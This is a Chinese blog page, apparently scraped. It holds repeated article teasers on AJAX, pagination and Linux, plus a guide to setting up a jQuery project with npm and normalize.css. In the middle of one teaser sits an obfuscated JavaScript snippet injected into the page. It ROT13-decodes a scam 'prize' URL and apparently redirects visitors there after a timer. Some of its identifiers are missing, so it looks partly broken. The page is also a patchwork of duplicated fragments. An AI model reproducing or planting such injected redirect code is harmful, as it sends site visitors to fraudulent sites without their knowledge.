AJAX介绍和原生JS发送AJAX请求
rx online 什么是AJAX: 一种创建交互式网页应用的网页开发技术。 全称Asynchronous Javascript And XML(异步JavaScript和XML) AJAX特点: 异步处理,不影响页面的顺序执行 函数回调,可以操作DOM AJAX优…
rx online 什么是AJAX: 一种创建交互式网页应用的网页开发技术。 全称Asynchronous Javascript And XML(异步JavaScript和XML) AJAX特点: 异步处理,不影响页面的顺序执行 函数回调,可以操作DOM AJAX优…
rx online 分页就是对较多的数据按照一定的数量和条件进行分页展示。 分页的展示形式一般有三种: 直接展示记录的页数 加载更多 瀑布流的自动加载 分页的关键变量: current_page 当前页码 total_num 总记录…
rx online Ajax应用场景 异步搜索过滤内容 表单异步验证 异步加载内容数据 低调的处理一些数据逻辑 Ajax主要特点 在不刷新当前页面的前提下,与服务器进行异步交互。 优化了浏览器与服务器之间的数据传输,…
rx online 举一个简单的例子来说明: 如在页面a.html中用下面这句调用: <script type=”text/javascript” src=”b.php?action=test”></script> <script type=”te…
rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
步骤1 安装
方法一:进入jquery官网,下载jquery到代码库里面,官网山有api文档可以看。
方法二:另外可以用npm安装,cd到项目目录,使用
1 |
npm install jquery –save |
推荐使用npm来进行jquery的安装,因为npm是一个专门管理依赖的工具,实际上下载下来的代码是一样的,使用 –save的好处是会生成一个package.json里面,这个文件里面有一个dependency,jquery会被添加到dependency中, 这样即使node_modules文件夹被删除了,也没有关系,只要package.json还在,那么只要给在文件夹中使用
1 |
npm install |
就可以把所有的依赖安装上了。
之后用script在html里面用相对路径把jquery导入进来。
方法三: 使用CDN,在一些比较小的项目直接使用cdn就可以了。
步骤二: 目录
一般一个项目中需要这些目录
注意,这里我使用的是npm来安装,如果用的不是npm则可以加一个lib的文件夹
步骤三:js要特别注意的地方
这是定义了一个匿名的方式,把alert包含在一个方式中,不会对域进行污染非常的安全,防止一些致命的错误。另外前面的“;”非常的重要,这个可以防止在压缩的过程中出现错误,因为有些前面的库有可能会没有结尾的分号而出现错误。这样的写法非常重要!
步骤四 css normalize
在css中一般是使用一些既定的代码来实现样式的重置,但是这样的问题是虽然样式被重置得很完全,但是一些元素比如说各级标题我们还是希望它能够拥有一些自己的样式,因此我们可以使用npm工具安装css normalize的工具
1 |
npm install normalize.css |
就会安装在刚才说的node_modules中,在html中即可,注意要在自己的css之前引用,以后写每个文件的时候最开始都引入一下。不过用bootstrap之类的不需要引入,因为会自动normalize。
rx online 这篇文章涵盖了大部分在开发中会使用到的Linux命令,读完这篇文章你将可以使用Linux系统来进行开发 Part 1 你好命令行 图形界面让简单任务变得更简单,命令行让复杂的任务变得可能。 直接输入pyth…